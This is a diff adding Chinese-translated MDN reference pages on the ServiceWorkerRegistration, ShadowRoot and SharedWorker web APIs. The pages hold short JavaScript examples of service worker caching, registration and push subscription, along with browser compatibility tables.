An event handler fired whenever a {{Event("SyncEvent")}} event occurs. This is triggered when a call to {{domxref("SyncManager.register")}} is made from a service worker client page. The attempt to sync is made either immediately if the network is available or as soon as the network becomes available. 
+
+ +

方法

+ +
+
{{domxref("ServiceWorkerGlobalScope.skipWaiting()")}}
+
Allows the current service worker registration to progress from waiting to active state while service worker clients are using it.
+
+ +

ServiceWorkerGlobalScope implements {{domxref("WorkerGlobalScope")}} — which implements {{domxref("GlobalFetch")}}. Therefore it also has the following property available to it:

+ +
+
{{domxref("GlobalFetch.fetch()")}}
+
Starts the process of fetching a resource. This returns a promise that resolves to the {{domxref("Response")}} object representing the response to your request. This algorithm is the entry point for the fetch handling handed to the service worker context.
+
+ +

示例

+ +

This code snippet is from the service worker prefetch sample (see prefetch example live.) The {{domxref("ServiceWorkerGlobalScope.onfetch")}} event handler listens for the fetch event. When fired, the code returns a promise that resolves to the first matching request in the {{domxref("Cache")}} object. If no match is found, the code fetches a response from the network.

+ +

The code also handles exceptions thrown from the {{domxref("GlobalFetch.fetch", "fetch()")}} operation. Note that an HTTP error response (e.g., 404) will not trigger an exception. It will return a normal response object that has the appropriate error code set.

+ +
self.addEventListener('fetch', function(event) {
+  console.log('Handling fetch event for', event.request.url);
+
+  event.respondWith(
+    caches.match(event.request).then(function(response) {
+      if (response) {
+        console.log('Found response in cache:', response);
+
+        return response;
+      }
+      console.log('No response found in cache. About to fetch from network...');
+
+      return fetch(event.request).then(function(response) {
+        console.log('Response from network is:', response);
+
+        return response;
+      }, function(error) {
+        console.error('Fetching failed:', error);
+
+        throw error;
+      });
+    })
+  );
+});
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('Service Workers', '#service-worker-global-scope', 'ServiceWorkerGlobalScope')}}{{Spec2('Service Workers')}}Initial definition
{{SpecName('Fetch', '#concept-fetch', 'Fetch')}}{{Spec2('Fetch')}}Adds the {{domxref("ServiceWorkerGlobalScope.fetch", "fetch")}} method.
{{SpecName('Push API', '#widl-ServiceWorkerGlobalScope-onpush', 'onpush')}}{{Spec2('Push API')}}Adds the {{domxref("ServiceWorkerGlobalScope.onpush", "onpush")}} and {{domxref("ServiceWorkerGlobalScope.onpushsubscriptionchange", "onpushsubscriptionchange")}} event handlers.
{{SpecName('Web Notifications','#dom-serviceworkerglobalscope-onnotificationclick','onnotificationclick')}}{{Spec2('Web Notifications')}}Adds the {{domxref("ServiceWorkerGlobalScope.onnotificationclick", "onnotificationclick")}} event handler.
{{SpecName('Background Sync','#sync-event','onsync')}}{{Spec2('Background Sync')}}Adds the {{domxref("ServiceWorkerGlobalScope.onsync","onsync")}} event.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(40.0)}}{{CompatGeckoDesktop("44.0")}}[1]{{CompatNo}}24{{CompatNo}}
onnotificationclick{{CompatVersionUnknown}}{{CompatGeckoDesktop("42.0")}}[1]{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
onsync{{CompatChrome(49.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile("44.0")}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatChrome(40.0)}}
onnotificationclick{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile("42.0")}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatVersionUnknown}}
onsync{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(49.0)}}
+
+ +

[1] Service workers (and Push) have been disabled in the Firefox 45 and 52 Extended Support Releases (ESR.)

+ +

See also

+ + diff --git a/files/zh-cn/web/api/serviceworkerregistration/active/index.html b/files/zh-cn/web/api/serviceworkerregistration/active/index.html new file mode 100644 index 0000000000..360536e262 --- /dev/null +++ b/files/zh-cn/web/api/serviceworkerregistration/active/index.html @@ -0,0 +1,127 @@ +--- +title: ServiceWorkerRegistration.active +slug: Web/API/ServiceWorkerRegistration/active +translation_of: Web/API/ServiceWorkerRegistration/active +--- +
{{SeeCompatTable}}{{APIRef("Service Workers API")}}
+ +

The active property of the {{domxref("ServiceWorkerRegistration")}} interface returns a service worker whose {{domxref("ServiceWorker.state")}} is activating or activated. This property is initially set to null.

+ +

An active worker controls a {{domxref("ServiceWorkerClient")}} if the client's URL falls within the scope of the registration (the scope option set when {{domxref("ServiceWorkerContainer.register")}} is first called.)

+ +
+

Note: This feature is available in Web Workers.

+
+ +

Syntax

+ +
sw = ServiceWorker.active
+
+ +

Value

+ +

A {{domxref("ServiceWorker")}} object, if it is currently in an activating or activated state.

+ +

Specifications

+ +
 
+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#service-worker-registration-active-attribute', 'ServiceWorkerRegistration.active')}}{{Spec2('Service Workers')}}Initial definition.
+  
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(40.0)}}{{ CompatGeckoDesktop("44.0") }}[1]{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
Available in web workers{{CompatVersionUnknown}}{{CompatGeckoDesktop("44.0")}}[1]{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{ CompatGeckoMobile("44.0") }}{{ CompatVersionUnknown }}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}
Available in web workers{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}
+
+ +

[1] Service workers (and Push) have been disabled in the Firefox 45 and 52 Extended Support Releases (ESR.)

+ +

See also

+ + diff --git a/files/zh-cn/web/api/serviceworkerregistration/index.html b/files/zh-cn/web/api/serviceworkerregistration/index.html new file mode 100644 index 0000000000..2b1a214546 --- /dev/null +++ b/files/zh-cn/web/api/serviceworkerregistration/index.html @@ -0,0 +1,245 @@ +--- +title: ServiceWorkerRegistration +slug: Web/API/ServiceWorkerRegistration +tags: + - API + - Draft + - Interface + - NeedsTranslation + - Offline + - Reference + - Service Workers + - ServiceWorkerRegistration + - TopicStub + - Workers +translation_of: Web/API/ServiceWorkerRegistration +--- +
+
{{SeeCompatTable}}{{APIRef("Service Workers API")}}
+
+ +

The ServiceWorkerRegistration interface of the ServiceWorker API represents the service worker registration. You register a service worker to control one or more pages that share the same origin.

+ +

The lifetime of a service worker registration is beyond that of the ServiceWorkerRegistration objects that represent them within the lifetime of their corresponding service worker clients. The browser maintains a persistent list of active ServiceWorkerRegistration objects.

+ +
+

Note: This feature is available in Web Workers.

+
+ +

Properties

+ +

Also implements properties from its parent interface, {{domxref("EventTarget")}}.

+ +
+
{{domxref("ServiceWorkerRegistration.scope")}} {{readonlyinline}}
+
Returns a unique identifier for a service worker registration. This must be on the same origin as the document that registers the {{domxref("ServiceWorker")}}.
+
{{domxref("ServiceWorkerRegistration.installing")}} {{readonlyinline}}
+
Returns a service worker whose state is installing. This is initially set to null.
+
{{domxref("ServiceWorkerRegistration.waiting")}} {{readonlyinline}}
+
Returns a service worker whose state is installed. This is initially set to null.
+
{{domxref("ServiceWorkerRegistration.active")}} {{readonlyinline}}
+
Returns a service worker whose state is either activating or activated. This is initially set to null. An active worker will control a {{domxref("ServiceWorkerClient")}} if the client's URL falls within the scope of the registration (the scope option set when {{domxref("ServiceWorkerContainer.register")}} is first called.)
+
{{domxref("serviceWorkerRegistration.periodicSync")}} {{non-standard_inline}} {{readonlyinline}}
+
Returns a reference to the {{domxref("PeriodicSyncManager")}} interface, which manages periodic background synchronization processes.
+
{{domxref("ServiceWorkerRegistration.pushManager")}} {{readonlyinline}}
+
Returns a reference to the {{domxref("PushManager")}} interface for managing push subscriptions including subscribing, getting an active subscription, and accessing push permission status.
+
{{domxref("ServiceWorkerRegistration.sync")}} {{non-standard_inline}} {{readonlyinline}} 
+
Returns a reference to the {{domxref("SyncManager")}} interface, which manages background synchronization processes.
+
+ +

Event handlers

+ +
+
{{domxref("ServiceWorkerRegistration.onupdatefound")}} {{readonlyinline}}
+
An EventListener property called whenever an event of type updatefound is fired; it is fired any time the {{domxref("ServiceWorkerRegistration.installing")}} property acquires a new service worker.
+
+ +

Methods

+ +

Also implements methods from its parent interface, {{domxref("EventTarget")}}.

+ +
+
{{domxref("ServiceWorkerRegistration.getNotifications()")}}
+
Returns a {{jsxref("Promise")}} that resolves to an array of {{domxref("Notification")}} objects.
+
{{domxref("ServiceWorkerRegistration.showNotification()")}}
+
Displays the notification with the requested title.
+
{{domxref("ServiceWorkerRegistration.update()")}}
+
Checks the server for an updated version of the service worker without consulting caches.
+
{{domxref("ServiceWorkerRegistration.unregister()")}}
+
Unregisters the service worker registration and returns a promise (see {{jsxref("Promise")}}). The service worker will finish any ongoing operations before it is unregistered.
+
+ +

Examples

+ +

This code snippet is from the service worker registration-events sample (live demo). The code checks to see if the browser supports service workers and if there's currently a service worker handling requests on this page for the current navigation.

+ +

Any new service workers are registered; if there's an existing service worker, the code overrides its default scope so that the registration applies to the current directory and everything underneath it. The example also reports any registration failures.

+ +
if ('serviceWorker' in navigator) {
+  document.querySelector('#availability').innerText = 'are';
+  document.querySelector('#controlled').innerText = navigator.serviceWorker.controller ? 'is' : 'is not';
+  navigator.serviceWorker.register('service-worker.js', {scope: './'}).then(function(registration) {
+    document.querySelector('#register').textContent = 'succeeded';
+  }).catch(function(error) {
+    document.querySelector('#register').textContent = 'failed: ' + error;
+  });
+} else {
+  document.querySelector('#availability').innerText = 'are not';
+}
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#service-worker-registration-obj', 'ServiceWorkerRegistration')}}{{Spec2('Service Workers')}}Initial definition.
{{SpecName('Push API', '#widl-ServiceWorkerRegistration-pushManager', 'PushManager')}}{{Spec2('Push API')}}Adds the {{domxref("PushManager","pushManager")}} property.
{{SpecName('Web Notifications')}}{{Spec2('Web Notifications')}}Adds the {{domxref("ServiceWorkerRegistration.showNotification()","showNotification()")}} method and the {{domxref("ServiceWorkerRegistration.getNotifications()","getNotifications()")}} method.
{{SpecName('Background Sync')}}{{Spec2('Background Sync')}}Adds the {{domxref("ServiceWorkerRegistration.sync","sync")}} property.
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(40.0)}}{{ CompatGeckoDesktop("44.0") }}[1]{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
Available in web workers{{CompatVersionUnknown}}{{CompatGeckoDesktop("44.0")}}[1]{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
getNotifications(), showNotification(){{CompatVersionUnknown}}{{CompatGeckoDesktop("46.0")}}[1]{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
sync property{{CompatChrome(49.0)}}    
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatNo}}{{ CompatGeckoMobile("44.0") }}{{ CompatVersionUnknown }}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatChrome(40.0)}}
Available in web workers{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile("44.0")}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatVersionUnknown}}
getNotifications(), showNotification(){{CompatNo}}{{CompatNo}}{{CompatGeckoMobile("46.0")}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatVersionUnknown}}
sync property{{CompatNo}}{{CompatNo}}     {{CompatChrome(49.0)}}
+
+ +

[1] Service workers (and Push) have been disabled in the Firefox 45 and 52 Extended Support Releases (ESR.)

+ +

See also

+ + diff --git a/files/zh-cn/web/api/serviceworkerregistration/pushmanager/index.html b/files/zh-cn/web/api/serviceworkerregistration/pushmanager/index.html new file mode 100644 index 0000000000..3708312f94 --- /dev/null +++ b/files/zh-cn/web/api/serviceworkerregistration/pushmanager/index.html @@ -0,0 +1,125 @@ +--- +title: ServiceWorkerRegistration.pushManager +slug: Web/API/ServiceWorkerRegistration/pushManager +translation_of: Web/API/ServiceWorkerRegistration/pushManager +--- +
{{SeeCompatTable}}{{APIRef("Service Workers API")}}
+ +

{{domxref("ServiceWorkerRegistration")}} 接口的 pushManager 属性返回用于管理推送订阅的 {{domxref("PushManager")}} 接口的引用。包括支持订阅,获取活动订阅和访问推送权限状态。

+ +

语法

+ +
myPushManager = ServiceWorker.pushManager
+
+ +

+ +

一个 {{domxref("PushManager")}} 对象。

+ +

示例

+ +
this.onpush = function(event) {
+  console.log(event.data);
+  // From here we can write the data to IndexedDB, send it to any open
+  // windows, display a notification, etc.
+}
+
+navigator.serviceWorker.register('serviceworker.js').then(
+  function(serviceWorkerRegistration) {
+    serviceWorkerRegistration.pushManager.subscribe().then(
+      function(pushSubscription) {
+        console.log(pushSubscription.subscriptionId);
+        console.log(pushSubscription.endpoint);
+        // The push subscription details needed by the application
+        // server are now available, and can be sent to it using,
+        // for example, an XMLHttpRequest.
+      }, function(error) {
+        // During development it often helps to log errors to the
+        // console. In a production environment it might make sense to
+        // also report information about errors back to the
+        // application server.
+        console.log(error);
+      }
+    );
+  });
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Push API', '#pushmanager-interface', 'PushManager')}}{{Spec2('Push API')}}Initial definition.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(42.0)}}{{ CompatGeckoDesktop("44.0") }}[1]{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatChrome(42.0)}}
+
+ +

[1] Service workers (and Push) have been disabled in the Firefox 45 and 52 Extended Support Releases (ESR.)

+ +

参见

+ + diff --git a/files/zh-cn/web/api/serviceworkerregistration/unregister/index.html b/files/zh-cn/web/api/serviceworkerregistration/unregister/index.html new file mode 100644 index 0000000000..1e89dd3296 --- /dev/null +++ b/files/zh-cn/web/api/serviceworkerregistration/unregister/index.html @@ -0,0 +1,75 @@ +--- +title: ServiceWorkerRegistration.unregister() +slug: Web/API/ServiceWorkerRegistration/unregister +translation_of: Web/API/ServiceWorkerRegistration/unregister +--- +
{{SeeCompatTable}}{{APIRef("Service Workers API")}}
+ +

{{domxref("ServiceWorkerRegistration")}} 接口的 unregister 方法用于取消对service worker的注册并返回一个 {{jsxref("Promise")}}。没有找到注册时,这个 promise 返回 false ,否则,不论取消成功与否都返回 true (当其他人在同一作用域调用了 {{domxref("ServiceWorkerContainer.register")}} 可能取消失败)service worker 会在取消注册前完成一切正在进行的操作。

+ +
+

Note: 这一特性同样适用于 Web Workers.

+
+ +

语法

+ +
ServiceWorkerRegistration.unregister().then(function(boolean) {
+});
+ +

参数

+ +

None.

+ +

返回

+ +

Promise 返回一个bool值表示 service worker 是否被取消注册。

+ +

例子

+ +

下面的简单例子中注册了一个service worker,然后立即取消了:

+ +
if ('serviceWorker' in navigator) {
+  navigator.serviceWorker.register('/sw-test/sw.js', {scope: 'sw-test'}).then(function(registration) {
+    // registration worked
+    console.log('Registration succeeded.');
+    registration.unregister().then(function(boolean) {
+      // if boolean = true, unregister is successful
+    });
+  }).catch(function(error) {
+    // registration failed
+    console.log('Registration failed with ' + error);
+  });
+};
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#service-worker-registration-unregister-method', 'ServiceWorkerRegistration.unregister()')}}{{Spec2('Service Workers')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.ServiceWorkerRegistration.unregister")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/serviceworkerregistration/update/index.html b/files/zh-cn/web/api/serviceworkerregistration/update/index.html new file mode 100644 index 0000000000..aa89f12d69 --- /dev/null +++ b/files/zh-cn/web/api/serviceworkerregistration/update/index.html @@ -0,0 +1,77 @@ +--- +title: ServiceWorkerRegistration.update() +slug: Web/API/ServiceWorkerRegistration/update +tags: + - 方法 + - 更新 +translation_of: Web/API/ServiceWorkerRegistration/update +--- +
{{APIRef("Service Workers API")}}
+ +
{{domxref("ServiceWorkerRegistration")}} 的update方法尝试更新service worker。获得worker脚本的URL,逐字节匹配新获取的worker和当前的worker,存在差异的时候安装新的worker。获取worker脚本的更新操作会忽略浏览器缓存的24小时前的内容。
+ +
+

注意: 这个特性也应用于 Web Workers.

+
+ +

语法

+ +
ServiceWorkerRegistration.update();
+ +

参数

+ +

None.

+ +

返回

+ +

返回 {{domxref("Promise")}} 在resolve时对应一个 {{domxref("ServiceWorkerRegistration")}} 对象。

+ +

示例

+ +

下面的示例注册一个service worker,然后绑定事件到按钮,这样你可以有需要时,明确的更新server worker:

+ +
if ('serviceWorker' in navigator) {
+  navigator.serviceWorker.register('/sw-test/sw.js', {scope: 'sw-test'}).then(function(registration) {
+    // registration worked
+    console.log('Registration succeeded.');
+    button.onclick = function() {
+      registration.update();
+    }
+  }).catch(function(error) {
+    // registration failed
+    console.log('Registration failed with ' + error);
+  });
+};
+ +

标准

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#service-worker-registration-update-method', 'ServiceWorkerRegistration.update()')}}{{Spec2('Service Workers')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.ServiceWorkerRegistration.update")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/shadowroot/delegatesfocus/index.html b/files/zh-cn/web/api/shadowroot/delegatesfocus/index.html new file mode 100644 index 0000000000..62073edb52 --- /dev/null +++ b/files/zh-cn/web/api/shadowroot/delegatesfocus/index.html @@ -0,0 +1,38 @@ +--- +title: ShadowRoot.delegatesFocus +slug: Web/API/ShadowRoot/delegatesFocus +translation_of: Web/API/ShadowRoot/delegatesFocus +--- +
{{APIRef("Shadow DOM")}}
+ +

{{domxref("ShadowRoot")}} 接口中的只读属性 delegatesFocus 返回一个布尔值表明 delegatesFocus是否在shadow被附加的时候设置了。

+ +

这目前是一个实验的非标准特性,仅在Chrome中可用。

+ +

语法

+ +
var df = shadowRoot.delegatesFocus
+ +

+ +

一个布尔值 — true 值表明shadow root已经delegate focus, false 反之.

+ +

示例

+ +
let customElem = document.querySelector('my-shadow-dom-element');
+let shadow = customElem.shadowRoot;
+
+  ...
+
+// Does it delegate focus?
+let hostElem = shadow.delegatesFocus;
+ +

标准

+ +

这目前是个非标准特性。

+ +

浏览器兼容性

+ + + +

{{Compat("api.ShadowRoot.delegatesFocus")}}

diff --git a/files/zh-cn/web/api/shadowroot/index.html b/files/zh-cn/web/api/shadowroot/index.html new file mode 100644 index 0000000000..42ba338cb3 --- /dev/null +++ b/files/zh-cn/web/api/shadowroot/index.html @@ -0,0 +1,113 @@ +--- +title: ShadowRoot +slug: Web/API/ShadowRoot +tags: + - API + - Interface + - Reference + - ShadowRoot + - Web Components +translation_of: Web/API/ShadowRoot +--- +

{{APIRef('Shadow DOM')}}

+ +

Shadow DOM API 的 ShadowRoot 接口是一个 DOM 子树的根节点, 它与文档的主 DOM 树分开渲染。

+ +

你可以通过使用一个元素的 {{domxref("Element.shadowRoot")}} 属性来检索它的参考,假设它是由 {{domxref("Element.attachShadow()")}} 创建的并使 mode 设置为 open.

+ +

属性

+ +
+
{{domxref("ShadowRoot.delegatesFocus")}} {{readonlyinline}} {{non-standard_inline}}
+
返回一个boolean值表明在 shadow 添加时 delegatesFocus 是否被设置(see {{domxref("Element.attachShadow()")}})
+
{{domxref("ShadowRoot.host")}} {{readonlyinline}}
+
ShadowRoot 附加的宿主 DOM 元素。
+
{{domxref("ShadowRoot.innerHTML")}}
+
ShadowRoot 内部的 DOM 树。
+
{{domxref("ShadowRoot.mode")}} {{readonlyinline}}
+
ShadowRoot 的模式——可以是 open 或者 closed。这定义了 shadow root 的内部实现是否可被 JavaScript 访问及修改 — 也就是说,该实现是否公开,例如,{{HTMLElement("video")}} 标签内部实现无法被 JavaScript 访问及修改。
+
+ +

从 DocumentOrShadowRoot 中包含的属性

+ +

ShadowRoot 接口包含了下列从{{domxref("DocumentOrShadowRoot")}} mixin中定义的属性. 请注意它现在仅在Chrome浏览器中应用; 其它的浏览器仍在{{domxref("Document")}}接口实现.

+ +
+
{{domxref("DocumentOrShadowRoot.activeElement")}} {{readonlyInline}}
+
返回含有获取焦点了的shadow tree的 {{domxref('Element')}} 
+
{{domxref("DocumentOrShadowRoot.styleSheets")}} {{readonlyInline}}
+
返回 {{domxref('CSSStyleSheet')}} 的 {{domxref('StyleSheetList')}} 对象,用于代表通过链接加载到文档中或内嵌的样式表。
+
+ +

方法

+ +

 ShadowRoot 接口包含了下列几个在 {{domxref("DocumentOrShadowRoot")}} mixin中定义的方法. 请注意它现在仅在Chrome浏览器中应用; 其它的浏览器仍在{{domxref("Document")}}接口实现.

+ +
+
{{domxref("DocumentOrShadowRoot.getSelection()")}}
+
返回一个 {{domxref('Selection')}} 类来表明用户选择的文本选区或者光标所在的位置
+
{{domxref("DocumentOrShadowRoot.elementFromPoint()")}}
+
返回在指定坐标最上层的元素.
+
{{domxref("DocumentOrShadowRoot.elementsFromPoint()")}}
+
返回一个包含所有在指定位置上的元素的Array
+
{{domxref("DocumentOrShadowRoot.caretPositionFromPoint()")}}
+
返回一个 {{domxref('CaretPosition')}} 对象,包括包含了光标的DOM节点,以及光标在该节点中的字符偏移量
+
+ +

例子

+ +

下面的这段代码是从我们的 life-cycle-callbacks 示例 (查看在线示例)中提取出来的, 它创建了一个由元素的属性指定的大小相等的正方形.

+ +

Inside the <custom-square> element's class definition we include some life cycle callbacks that make a call to an external function, upateStyle(), which actually applies the size and color to the element. You'll see that we are passing it this (the custom element itself) as a parameter.

+ +
connectedCallback() {
+  console.log('Custom square element added to page.');
+  updateStyle(this);
+}
+
+attributeChangedCallback(name, oldValue, newValue) {
+  console.log('Custom square element attributes changed.');
+  updateStyle(this);
+}
+ +

In the updateStyle() function itself, we get a reference to the shadow DOM using {{domxref("Element.shadowRoot")}}. From here we use standard DOM traversal techniques to find the {{htmlelement("style")}} element inside the shadow DOM and then update the CSS found inside it:

+ +
function updateStyle(elem) {
+  var shadow = elem.shadowRoot;
+  var childNodes = shadow.childNodes;
+  for(var i = 0; i < childNodes.length; i++) {
+    if(childNodes[i].nodeName === 'STYLE') {
+      childNodes[i].textContent =
+        'div {' +
+          'width: ' + elem.getAttribute('l') + 'px;' +
+          'height: ' + elem.getAttribute('l') + 'px;' +
+          'background-color: ' + elem.getAttribute('c') + ';' +
+        '}';
+    }
+  }
+}
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG','#interface-shadowroot','Interface ShadowRoot')}}{{Spec2('DOM WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.ShadowRoot")}}

diff --git a/files/zh-cn/web/api/shadowroot/innerhtml/index.html b/files/zh-cn/web/api/shadowroot/innerhtml/index.html new file mode 100644 index 0000000000..512965094b --- /dev/null +++ b/files/zh-cn/web/api/shadowroot/innerhtml/index.html @@ -0,0 +1,95 @@ +--- +title: ShadowRoot.innerHTML +slug: Web/API/ShadowRoot/innerHTML +tags: + - ShadowRoot.innerHTML +translation_of: Web/API/ShadowRoot/innerHTML +--- +

{{SeeCompatTable}}{{APIRef("Shadow DOM")}}

+ +

 {{domxref("ShadowRoot")}} 接口的 innerHTML 属性设置或返回 ShadowRoot内的DOM树。

+ +

句法

+ +
let domString = shadowRoot.innerHTML
+// 返回
+
+shadowRoot.innerHTML = domString;
+
+// 设置
+
+ +

+ +

一个 {{domxref("DOMString")}}.

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Shadow DOM','#widl-ShadowRoot-innerHTML','ShadowRoot.innerHTML')}}{{Spec2('Shadow DOM')}}Initial definition.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support53{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}4010
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support53{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}4010.1
+
diff --git a/files/zh-cn/web/api/shadowroot/mode/index.html b/files/zh-cn/web/api/shadowroot/mode/index.html new file mode 100644 index 0000000000..d9cb6032e9 --- /dev/null +++ b/files/zh-cn/web/api/shadowroot/mode/index.html @@ -0,0 +1,93 @@ +--- +title: ShadowRoot.mode +slug: Web/API/ShadowRoot/mode +translation_of: Web/API/ShadowRoot/mode +--- +
{{APIRef("Shadow DOM")}}{{SeeCompatTable}}
+ +

mode 是 {{domxref("ShadowRoot")}}  的只读属性,它返回 ShadowRoot 创建时的模式 ("open" 或者 "closed") 。

+ +

ShadowRootmode 是 "closed" 时, ShadowRoot 的内部实现无法被 JavaScript 访问及修改 — 也就是说将该实现不公开,例如,<video> 标签内部实现无法被 JavaScript 访问及修改。

+ +

Syntax

+ +
var mode = shadowRoot.mode
+ +

Value

+ +

值为 "open"  或者  "closed".

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG','#dom-shadowroot-mode','ShadowRoot.mode')}}{{Spec2('DOM WHATWG')}} 
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support53{{CompatNo}}[1]{{CompatNo}}[2]{{CompatNo}}4010
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support53{{CompatNo}}[1]{{CompatNo}}[2]{{CompatNo}}4010.1
+
+ +

[1] This feature is not implemented yet. See the Edge platform status.

+ +

[2] This feature is not implemented yet. See {{bug(1205323)}}.

diff --git a/files/zh-cn/web/api/sharedworker/index.html b/files/zh-cn/web/api/sharedworker/index.html new file mode 100644 index 0000000000..4ce698a3d9 --- /dev/null +++ b/files/zh-cn/web/api/sharedworker/index.html @@ -0,0 +1,118 @@ +--- +title: SharedWorker +slug: Web/API/SharedWorker +tags: + - Service Worker + - SharedWorker + - Worker +translation_of: Web/API/SharedWorker +--- +
{{APIRef("Web Workers API")}}
+ +
SharedWorker 接口代表一种特定类型的 worker,可以从几个浏览上下文中访问,例如几个窗口、iframe 或其他 worker。它们实现一个不同于普通 worker 的接口,具有不同的全局作用域, {{domxref("SharedWorkerGlobalScope")}} 。
+ +
+ +
+

注意:如果要使 SharedWorker 连接到多个不同的页面,这些页面必须是同源的(相同的协议、host 以及端口)。

+
+ +

构造函数

+ +
+
{{domxref("SharedWorker.SharedWorker", "SharedWorker()")}}
+
创建一个执行指定 url 脚本的共享 web worker。
+
+ +

属性

+ +

继承自其父类 {{domxref("EventTarget")}},并实现 {{domxref("AbstractWorker")}} 中的属性 。

+ +
+
{{domxref("AbstractWorker.onerror")}}
+
一个 {{domxref("EventListener")}},当 {{domxref("ErrorEvent")}} 类型的 error 冒泡到 worker 时触发。
+
{{domxref("SharedWorker.port")}} {{readonlyInline}}
+
返回一个 {{domxref("MessagePort")}} 对象,该对象可以用来进行通信和对共享 worker 进行控制。
+
+ +
+
+ +

方法

+ +

继承自其父类 {{domxref("EventTarget")}},并实现 {{domxref("AbstractWorker")}} 中的方法 。

+ +

示例

+ +

在这个 shared worker 例子中 ( 运行 shared worker), 我们有两个 HTML 页面, 每个页面中使用一些 JavaScript 来执行简单的计算。 这些脚本使用相同的 shared worker 来执行计算 — 都可以访问这个 worker,即使脚本在不同窗口的两个页面内运行。

+ +

下面的代码展示了如何通过 {{domxref("SharedWorker.SharedWorker", "SharedWorker()")}} 方法来创建一个共享进程对象。

+ +
var myWorker = new SharedWorker("worker.js");
+
+ +

